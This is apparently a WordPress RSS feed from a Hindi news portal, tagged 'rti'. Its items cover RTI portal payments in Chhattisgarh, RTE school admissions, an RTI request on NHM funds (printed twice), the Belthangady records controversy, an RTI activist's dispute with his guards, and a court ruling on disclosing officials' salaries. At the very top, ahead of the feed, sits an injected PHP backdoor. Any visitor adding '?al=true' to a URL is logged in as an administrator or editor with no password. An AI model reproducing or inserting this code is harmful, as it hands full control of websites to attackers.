// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); rti – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 19 Apr 2026 08:30:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 आरटीआई ऑनलाइन पोर्टल में डिजिटल भुगतान की सुविधा सुचारु, नागरिकों को मिल रही त्वरित सेवा https://pratyushaashakinayikiran.com/?p=213159 Sun, 19 Apr 2026 08:30:00 +0000 https://pratyushaashakinayikiran.com/?p=213159 रायपुर
छत्तीसगढ़  राज्य के rtionline.cg.gov.in पोर्टल पर ऑनलाइन भुगतान (Online Payment) की सुविधा पोर्टल के प्रारंभ से ही उपलब्ध है। वर्ष 2023 में इस पोर्टल को स्टेट बैंक ऑफ इंडिया के साथ एकीकृत करते हुए UPI भुगतान प्रणाली से जोड़ा गया, जिससे नागरिकों को सरल, सुरक्षित एवं तेज भुगतान का विकल्प प्राप्त हुआ।

 01 जनवरी 2023 से 18 अप्रैल 2024 तक पोर्टल के माध्यम से ऑनलाइन एवं UPI भुगतान द्वारा कुल 7 लाख 03 हजार 42 रुपये की राशि प्राप्त हुई है, जो इस बात का प्रमाण है कि नागरिक डिजिटल माध्यमों का सक्रिय रूप से उपयोग कर रहे हैं।

राज्य शासन द्वारा सूचना का अधिकार अधिनियम के अंतर्गत सेवाओं को अधिक पारदर्शी, सुगम एवं तकनीक-आधारित बनाने के लिए निरंतर प्रयास किए जा रहे हैं। पोर्टल में समय-समय पर तकनीकी उन्नयन भी किए जा रहे हैं, ताकि आवेदकों को किसी प्रकार की असुविधा न हो।

यह भी उल्लेखनीय है कि राज्य सरकार नागरिक सेवाओं के डिजिटलीकरण के लिए प्रतिबद्ध है और भविष्य में भी पोर्टल को और अधिक उपयोगकर्ता-अनुकूल (User Friendly) एवं प्रभावी बनाने हेतु आवश्यक सुधार किए जाते रहेंगे।

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आर.टी.ई. के तहत प्रवेश न देने वाले निजी विद्यालयों की मान्यता होगी रद्द https://pratyushaashakinayikiran.com/?p=210794 Tue, 07 Apr 2026 08:26:00 +0000 https://pratyushaashakinayikiran.com/?p=210794 आर.टी.ई. के तहत प्रवेश न देने वाले निजी विद्यालयों की मान्यता होगी रद्द

आर.टी.ई. प्रतिपूर्ति राशि दूसरे राज्यों से बेहतर 

रायपुर
छत्तीसगढ़ में निःशुल्क एवं अनिवार्य बाल शिक्षा का अधिकार अधिनियम (RTE) 2009, अप्रैल 2010 से प्रभावी है। इसके अंतर्गत प्रदेश के गैर-अनुदान प्राप्त अशासकीय विद्यालयों की प्रारंभिक कक्षाओं में 25 प्रतिशत सीटें आरक्षित की गई हैं। इन सीटों पर आर्थिक रूप से कमजोर, दुर्बल वर्ग और वंचित समूह के बच्चों को उनके निवास क्षेत्र के भीतर प्रवेश दिलाया जाता है। मुख्यमंत्री श्री विष्णु देव साय के नेतृत्व में राज्य सरकार गरीब बच्चों की शिक्षा के प्रति पूरी तरह संवेदनशील है और सभी के लिए शिक्षा सुनिश्चित करने हेतु विशेष प्रयास किए जा रहे हैं।

​प्रतिपूर्ति राशि का पारदर्शी भुगतान

           शिक्षा का अधिकार अधिनियम 2009 के तहत निजी स्कूलों को नर्सरी या कक्षा 1 में 25 प्रतिशत सीटें आरक्षित करना अनिवार्य है। इसके बदले राज्य सरकार प्रति बच्चा व्यय के आधार पर स्कूलों को प्रतिपूर्ति राशि का भुगतान करती है। यह राशि सरकारी स्कूल में प्रति बच्चे पर होने वाले खर्च या निजी स्कूल की वास्तविक फीस (दोनों में से जो भी कम हो) के आधार पर निर्धारित की जाती है।

​अन्य राज्यों की तुलना में बेहतर प्रतिपूर्ति

            छत्तीसगढ़ में शुल्क प्रतिपूर्ति की राशि कई पड़ोसी राज्यों की तुलना में बेहतर या उनके समकक्ष है। प्रदेश में वर्ष 2011-12 से ही कक्षा 1 से 5 तक 7000 रूपए और कक्षा 6 से 8 तक 11 हजार 400 रूपए वार्षिक प्रतिपूर्ति राशि निर्धारित है। तुलनात्मक रूप से देखें तो मध्य प्रदेश में 4,419 रूपए बिहार में 6,569 रूपए, झारखंड में 5,100 रूपए और उत्तर प्रदेश में 5,400 रूपए वार्षिक दिए जाते हैं। यद्यपि ओडिशा, राजस्थान, महाराष्ट्र और कर्नाटक में यह राशि अधिक है, किंतु समग्र मूल्यांकन में छत्तीसगढ़ की प्रतिपूर्ति राशि संतुलित और उचित है।

​साढ़े तीन लाख से अधिक बच्चे ले रहे लाभ

            वर्तमान में राज्य के 6,862 निजी विद्यालयों में आर.टी.ई. के माध्यम से लगभग 3,63,515 विद्यार्थी शिक्षा ग्रहण कर रहे हैं। इस वर्ष भी कक्षा पहली की लगभग 22,000 सीटों पर प्रवेश प्रक्रिया जारी है। चूंकि सभी निजी विद्यालयों को आर.टी.ई. अधिनियम के प्रावधानों के तहत ही मान्यता दी गई है, अतः यह उनकी वैधानिक जिम्मेदारी है कि वे निर्धारित सीटों पर प्रवेश सुनिश्चित करें।

​नियमों के उल्लंघन पर होगी कड़ी कार्रवाई

           यदि कोई निजी विद्यालय आर.टी.ई. के तहत प्रवेश देने से इंकार करता है या प्रक्रिया में व्यवधान डालता है, तो राज्य शासन उनके विरुद्ध कड़ी अनुशासनात्मक कार्रवाई करेगा। इसमें विद्यालय की मान्यता समाप्त करने तक का प्रावधान शामिल है। शिक्षा विभाग ने आम नागरिकों से अपील की है कि वे इस संबंध में फैलाई जा रही किसी भी भ्रामक जानकारी पर ध्यान न दें और केवल आधिकारिक तथ्यों पर ही विश्वास करें।

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एनएचएम फंड पर उठे सवाल, आरटीआई से मांगा गया पूरा हिसाब-किताब https://pratyushaashakinayikiran.com/?p=207901 Thu, 26 Mar 2026 08:53:00 +0000 https://pratyushaashakinayikiran.com/?p=207901 एनएचएम फंड पर उठे सवाल, आरटीआई से मांगा गया पूरा हिसाब-किताब

मनेन्द्रगढ़/एमसीबी
जिले में स्वास्थ्य सेवाओं से जुड़े खर्चों को लेकर पारदर्शिता की मांग तेज हो गई है। मनेन्द्रगढ़ निवासी दीपक सोनी ने सूचना के अधिकार अधिनियम 2005 के तहत मुख्य चिकित्सा एवं स्वास्थ्य अधिकारी (सीएमएचओ) कार्यालय से राष्ट्रीय स्वास्थ्य मिशन (एनएचएम) के वित्तीय लेन-देन का पूरा ब्यौरा मांगा है।

आवेदक ने अपने आवेदन में वर्ष 2025-26 के दौरान एनएचएम के तहत स्वीकृत कुल राशि, मदवार आवंटन और अब तक हुए खर्च की विस्तृत जानकारी की प्रमाणित प्रति उपलब्ध कराने की मांग की है।

बताया जा रहा है कि इस आवेदन के जरिए स्वास्थ्य विभाग में हुए फंड के उपयोग और पारदर्शिता पर सीधा सवाल खड़ा किया गया है। यदि जानकारी सामने आती है, तो यह स्पष्ट हो सकेगा कि स्वास्थ्य सेवाओं के लिए जारी राशि का उपयोग किस प्रकार और किन मदों में किया गया।

स्थानीय स्तर पर इस आरटीआई आवेदन को काफी महत्वपूर्ण माना जा रहा है, क्योंकि इससे स्वास्थ्य योजनाओं के क्रियान्वयन और वित्तीय प्रबंधन की वास्तविक स्थिति उजागर हो सकती है।

अब नजरें इस बात पर टिकी हैं कि स्वास्थ्य विभाग निर्धारित समयसीमा में कितनी पारदर्शिता के साथ जानकारी उपलब्ध कराता है।

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एनएचएम फंड पर उठे सवाल, आरटीआई से मांगा गया पूरा हिसाब-किताब https://pratyushaashakinayikiran.com/?p=207903 Thu, 26 Mar 2026 08:53:00 +0000 https://pratyushaashakinayikiran.com/?p=207903 एनएचएम फंड पर उठे सवाल, आरटीआई से मांगा गया पूरा हिसाब-किताब

मनेन्द्रगढ़/एमसीबी
जिले में स्वास्थ्य सेवाओं से जुड़े खर्चों को लेकर पारदर्शिता की मांग तेज हो गई है। मनेन्द्रगढ़ निवासी दीपक सोनी ने सूचना के अधिकार अधिनियम 2005 के तहत मुख्य चिकित्सा एवं स्वास्थ्य अधिकारी (सीएमएचओ) कार्यालय से राष्ट्रीय स्वास्थ्य मिशन (एनएचएम) के वित्तीय लेन-देन का पूरा ब्यौरा मांगा है।

आवेदक ने अपने आवेदन में वर्ष 2025-26 के दौरान एनएचएम के तहत स्वीकृत कुल राशि, मदवार आवंटन और अब तक हुए खर्च की विस्तृत जानकारी की प्रमाणित प्रति उपलब्ध कराने की मांग की है।

बताया जा रहा है कि इस आवेदन के जरिए स्वास्थ्य विभाग में हुए फंड के उपयोग और पारदर्शिता पर सीधा सवाल खड़ा किया गया है। यदि जानकारी सामने आती है, तो यह स्पष्ट हो सकेगा कि स्वास्थ्य सेवाओं के लिए जारी राशि का उपयोग किस प्रकार और किन मदों में किया गया।

स्थानीय स्तर पर इस आरटीआई आवेदन को काफी महत्वपूर्ण माना जा रहा है, क्योंकि इससे स्वास्थ्य योजनाओं के क्रियान्वयन और वित्तीय प्रबंधन की वास्तविक स्थिति उजागर हो सकती है।

अब नजरें इस बात पर टिकी हैं कि स्वास्थ्य विभाग निर्धारित समयसीमा में कितनी पारदर्शिता के साथ जानकारी उपलब्ध कराता है।

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बेलथंगडी धर्मस्थल हत्याकांड: सबूत मिटाने और शव को गुपचुप दफनाने के आरोप, कई सवाल खड़े https://pratyushaashakinayikiran.com/?p=175356 Sun, 03 Aug 2025 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=175356 बेलथंगडी 

कर्नाटक के बेलथंगडी से सामने आए चौंकाने वाले खुलासों ने कथित सामूहिक हत्याओं को लेकर एक बार फिर जन आक्रोश को भड़का दिया है. यह प्रतिक्रिया आजतक की एक्सक्लूसिव रिपोर्ट के बाद सामने आई है, जिसमें पुलिस रिकॉर्ड को साजिश के तहत मिटाने का दावा किया गया है. आजतक को मिले आरटीआई दस्तावेजों से पता चला है कि बेलथंगडी पुलिस ने 2000 से 2015 के बीच 'Unnatural Death Register – UDR' में दर्ज सभी एंट्रीज हटा दीं. यह वही अवधि है, जिसमें कई संदिग्ध और बिना रिपोर्ट की गई मौतों के आरोप सामने आए थे.

अब, RTI कार्यकर्ता जयंत ने विशेष जांच दल (SIT) को एक औपचारिक शिकायत सौंपी है, जिसमें उन्होंने एक नाबालिग लड़की के शव को अवैध रूप से दफनाए जाने की घटना को स्वयं देखने का दावा किया है. जयंत का आरोप है कि घटना के दौरान कानूनी प्रक्रियाओं का खुला उल्लंघन किया गया और मौके पर कई अधिकारी मौजूद थे. उम्मीद की जा रही है कि SIT जल्द ही इस मामले में FIR दर्ज कर खुदाई (exhumation) की प्रक्रिया शुरू करेगी.

RTI के माध्यम से लंबे समय से पुलिस की कार्यप्रणाली की जांच कर रहे जयंत ने बताया कि उन्होंने पहले बेलथंगडी पुलिस स्टेशन से गुमशुदा व्यक्तियों से संबंधित डेटा और उनकी तस्वीरों की मांग की थी. लेकिन पुलिस की प्रतिक्रिया चौंकाने वाली थी. उन्होंने कहा कि सभी दस्तावेज, पोस्टमार्टम रिपोर्ट, दीवारों पर लगे पोस्टर, नोटिस और अज्ञात शवों की पहचान के लिए उपयोग की गई तस्वीरें 'सामान्य प्रशासनिक आदेशों' के तहत नष्ट कर दी गई हैं.

जयंत ने कहा, '2 अगस्त को मैंने SIT में एक शिकायत दर्ज कराई है. यह शिकायत उस घटना पर आधारित है जिसे मैंने अपनी आंखों से देखा था. मैंने उस समय वहां मौजूद सभी लोगों के नाम बताए हैं, जिनमें अधिकारी भी शामिल हैं. जब उस लड़की का शव मिला था, तब सभी कानूनी प्रक्रियाओं का घोर उल्लंघन किया गया. उन्होंने शव को ऐसे दफनाया जैसे कोई कुत्ते को दफनाता है. वह मंजर कई साल से मुझे डरावने सपने की तरह सताता रहा है. दो साल पहले ही मैंने कहा था कि अगर कभी ईमानदार अधिकारी इस मामले की जांच संभालेंगे, तो मैं पूरी सच्चाई सामने लाऊंगा. अब वह समय आ गया है, इसलिए मैंने यह शिकायत दर्ज करवाई है. इस कदम के पीछे न तो कोई मुझे उकसा रहा है और न ही कोई मुझे प्रभावित कर रहा है.'

उन्होंने कहा, 'एक RTI कार्यकर्ता के रूप में, मैंने बेलथंगडी पुलिस स्टेशन में एक आवेदन दायर कर सभी गुमशुदगी की शिकायतों और उनसे संबंधित तस्वीरों का रिकॉर्ड मांगा था. लेकिन अपने जवाब में पुलिस ने दावा किया कि गुमशुदगी से जुड़ी सभी शिकायतों के रिकॉर्ड नष्ट कर दिए गए हैं. आज के डिजिटल युग में, बिना डेटा को डिजिटाइज किए इस तरह जानकारी को नष्ट कैसे किया जा सकता है?'

जयंत ने कहा, 'अगर कहीं से कंकाल मिलते हैं, तो सरकार उनकी पहचान कैसे करेगी जब संबंधित दस्तावेज पहले ही नष्ट कर दिए गए हैं? इस सबके पीछे कौन लोग हैं? कौन इस पूरे मामले को दबा रहा है और किसके प्रभाव में यह सब हो रहा है? जब कंप्यूटराइज्ड बैकअप मौजूद होता है, तो बिना बैकअप लिए सब कुछ नष्ट करने का दावा कैसे किया जा सकता है? इन सभी पहलुओं की गहराई से और निष्पक्ष जांच होनी चाहिए.'

कर्नाटक के दक्षिण कन्नड़ जिले के बेलथंगडी पुलिस की लगातार आलोचना हो रही है, क्योंकि उन्होंने 2000 से 2015 के बीच दर्ज अज्ञात मौतों से जुड़े अहम रिकॉर्ड नष्ट किए जाने की बात स्वीकार की है. यह वही अवधि है जिसमें एक व्हिसलब्लोअर ने धर्मस्थल में सामूहिक दफन की घटनाएं होने का गंभीर आरोप लगाया है.

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व्यापम घोटाले को उजागर करने वाले आशीष से परेशान हैं सुरक्षाकर्मी, अब तक 639 हटाए गए https://pratyushaashakinayikiran.com/?p=122515 Sat, 18 Jan 2025 09:26:00 +0000 https://pratyushaashakinayikiran.com/?p=122515 ग्वालियर
आरटीआई एक्टिविस्ट आशीष चतुर्वेदी के गनमैन रहे एएसआई शैतान सिंह के बीच शिकवा शिकायत का मामला तूल पकड़ रहा है। आशीष और उनके सुरक्षाकर्मी के बीच बात क्यों बिगड़ी पता लगाया जा रहा है। इसलिए आशीष की सुरक्षा का आकलन भी किया जा रहा है। इसका ब्यौरा पुलिस मुख्यालय को भेजा जाएगा। पुलिस अधिकारियों का कहना है आशीष चतुर्वेदी को पिछले करीब 11 साल से सुरक्षा मुहैया कराई जा रही है।

अभी तक उनकी सुरक्षा में 639 जवानों को तैनात किया जा चुका है। इनमें कुछ जवानों को आशीष की सुरक्षा ड्यूटी में दोबारा भी तैनात किया गया है, लेेकिन बाकी सुरक्षाकर्मियों में ज्यादातर ने आशीष के साथ पटरी नही बैठने की दलील देकर ड्यूटी बदलवाई भी है। इनमें करीब 22 जवानों ने तो आशीष चतुर्वेदी पर गालियां देने, सस्पेंड कराने और ड्यूटी से भगाने की शिकायतें भी पुलिस अधिकारियों से की हैं।
कुत्ता नहीं देखने, वर्दी उतरवाने के आरोप

पुलिस रेकार्ड में आशीष की सुरक्षा में तैनात रहे जवानों की शिकायतों का पुलंदा भी बता रही है। इन शिकायतों में 2015 में उनकी सुरक्षा में तैनात 13 बटालियन के आरक्षक धर्मेन्द्र ने कुत्ता नहीं देखने पर अभद्रता करने और गालियां देने का आरोप लगाया था, जबकि 2017 में आशीष के सुरक्षाकर्मी शैलेन्द्र कुमार ने उन पर गालियां देने और वर्दी उतरवाने के आरोप तक लगाए हैं।

इसके अलावा वर्ष 2014 से अभी तक उनकी सुरक्षा में तैनात रहे 13 बटालियन के प्रधान आरक्षक अंसार अली, आरक्षक लोकेन्द्र सिंह, आरक्षक हरिओम शर्मा, आरक्षक जितेन्द्र सिंह भदौरिया, आरक्षक धर्मेन्द्र सिंह, आरक्षक रवि थापा, आरक्षक हरीशचंद्र, आरक्षक ऋषभ दीक्षित, आरक्षक अमन चौधरी और एएसआई प्रहलाद दास और अब एएसआई शैतान सिंह के नाम शिकायत करने वालों शामिल हैं। 14 वाहिनी के आरक्षक पृथ्वीराज मीणा, पुलिस लाइन आरक्षक राजेन्द्र शर्मा और राकेश राय सहित इदरीश और उदयभान सहित अन्य जवानों के नाम शिकायतकर्ताओं में शामिल होंगे।
यह है मामला

दो दिन पहले 13 बटालियन के एएसआई शैतान सिंह ने आरआई रणजीत सिंह से लिखित शिकायत की थी कि 4 अक्टूबर 2023 से आशीष चतुर्वेदी के यहां गनमैन डयूटी में थे। कुछ दिन पहले आशीष के पिता ओमप्रकाश चतुर्वेदी ने उनसे शादी में साथ चलने को कहा था। लेकिन उन्हें आशीष की सुरक्षा डयूटी में थे तैनात किया गया था, इसलिए उनसे पूछे बिना नहीं जा सकते थे। इसी बात पर आशीष चतुर्वेदी गुस्सा हो गए बोले तुुम्हें नौकरी करना सिखा दूंगा।

एएआई शैतान सिंह का आरोप है कि उसके बाद टार्चर करने लगे 13 जनवरी को आशीष ने मौहल्लों वालों के सामने उन्हें गालियां दीं सस्पेंड कराने की धमकी भी दी। उधर आशीष ने इस घटना के बाद सुरक्षा लौटा दी थी। इसी मसले को बुधवार को आरआई रणजीत सिंह, सूबेदार अनुपम भदौरिया के साथ नाकाचंद्रवदनी स्थित आशीष के घर गए थे। लेकिन बात नहीं बनी आशीष गुस्सा होकर घर से निकल गए। देर रात उनके पिता झांसी रोड थाने में गुमइंसान दर्ज कराया था। हालांकि गुरुवार दोपहर को आशीष चतुर्वेदी घर लौट आए।

सुरक्षा आंकलन किया जा रहा

आरटीआई एक्टिविस्ट आशीष चतुर्वेदी की सुरक्षा का आकंलन किया जा रहा है। पुलिस मुख्यालय को इससे अवगत कराया जाएगा। एएसआई और उनके बीव शिकवा शिकायत की जांच की जा रही है।

धर्मवीर सिंह यादव एसपी ग्वालियर, 14 महीने 14 बार लौटे एएसआई

उधर आशीष चतुर्वेदी का कहना है एएसआई शैतान सिंह पिछले 14 महीने से उनकी सुरक्षा डयूटी में थे। शैतान सिंह करीब 14 बार छुटटी गए और वापस उनकी ही सुरक्षा डयूटी में लौटे। अगर उनके साथ अभद्रता तो वह वापस उनकी डयूटी में क्यों आते। आशीष का कहना है पिता ओमप्रकाश चतुर्वेदी रिटायर होने के बाद कुछ दोस्तों के साथ अक्सर दाल बाटी की पार्टी करते हैं। शैतान सिंह उसमें भी शामिल होने के लिए पिता को मैसेज करते थे।

पिता शादी में गए थे शैतान सिंह ने उन्हें अकेले जाने पर टोका था। इसलिए पिता ने उन्हें भी शादी को आने को बोला था। शैतान सिंह ने फिर आरोप क्यो लगाए। इसके पीछे कई कारण हैं। इसी मामले को आरआई रणजीत सिंह और उनके सहकर्मी घर पर आए थे। उन्होंने गलती भी मानी, लेकिन बिना कार्रवाई बात खत्म करना चाहते थे। इसलिए मैं घर से निकल गया, मोबाइल डिस्चार्ज हो गया था तो किसी से बात नहीं हो पाई। देर रात पिता ने झांसी रोड थाने में गुमइंसान दर्ज कराया था। गुरुवार दोपहर को लौट आया फिर भी पुलिस ने दस्तयाब तक नहीं किया है।

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हाईकोर्ट ने कहा लोकसेवकों की सैलरी की जानकारी सार्वजनिक महत्व की, इसे गोपनीयता के दायरे में नहीं माना जा सकता https://pratyushaashakinayikiran.com/?p=116521 Thu, 02 Jan 2025 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=116521 जबलपुर

मध्य प्रदेश हाई कोर्ट ने अपने एक महत्वपूर्ण निर्णय में कहा है कि सूचना का अधिकार अधिनियम (आरटीआई) में लोकसेवकों के वेतन की जानकारी देना अनिवार्य है। गोपनीयता के तर्क पर इसकी सूचना देने से इन्कार नहीं किया जा सकता।

न्यायमूर्ति विवेक अग्रवाल की एकलपीठ ने लोकसेवकों के वेतन की सूचना देने से इन्कार करने के खिलाफ दायर एक याचिका पर सुनवाई में यह निर्णय दिया। हाई कोर्ट ने लोकसेवकों के वेतन की जानकारी सार्वजनिक महत्व की है, जिसे गोपनीय नहीं माना जा सकता।

पूर्व में जारी आदेश निरस्त कर दिया

सूचना आयोग और लोक सूचना अधिकारी ने भी इस सूचना को गोपनीय माना था। ऐसे में, एकल पीठ ने इन दोनों के पूर्व में जारी आदेश को भी निरस्त कर दिया। इसके साथ ही याचिकाकर्ता को एक माह में सूचना उपलब्ध कराने के निर्देश दिए।

पारदर्शिता के सिद्धांतों के विपरीत

याचिकाकर्ता छिंदवाड़ा निवासी एमएम शर्मा की ओर से दलील दी गई थी कि लोक सेवकों के वेतन की जानकारी को सार्वजनिक करना सूचना का अधिकार अधिनियम, 2005 की धारा-चार के तहत अनिवार्य है।

ऐसे में, लोक सेवकों के वेतन की जानकारी को धारा 8 (1)(जे) का हवाला देकर व्यक्तिगत या तृतीय पक्ष की सूचना बताकर छिपाना अधिनियम के उद्देश्यों और पारदर्शिता के सिद्धांतों के विपरीत है।

जानकारी उपलब्ध कराने से इन्कार किया

दरअसल, याचिकाकर्ता ने छिंदवाड़ा वन परिक्षेत्र में कार्यरत दो कर्मचारियों के वेतन भुगतान के संबंध में जानकारी मांगी थी। लोक सूचना अधिकारी ने जानकारी को निजी और तृतीय पक्ष की जानकारी बताते हुए इसे उपलब्ध कराने से इन्कार कर दिया था।

तर्क दिया गया कि संबंधित कर्मचारियों से उनकी सहमति मांगी गई थी, लेकिन उनका उत्तर न मिलने पर जानकारी गोपनीय होने के कारण उपलब्ध नहीं कराई जा सकती।

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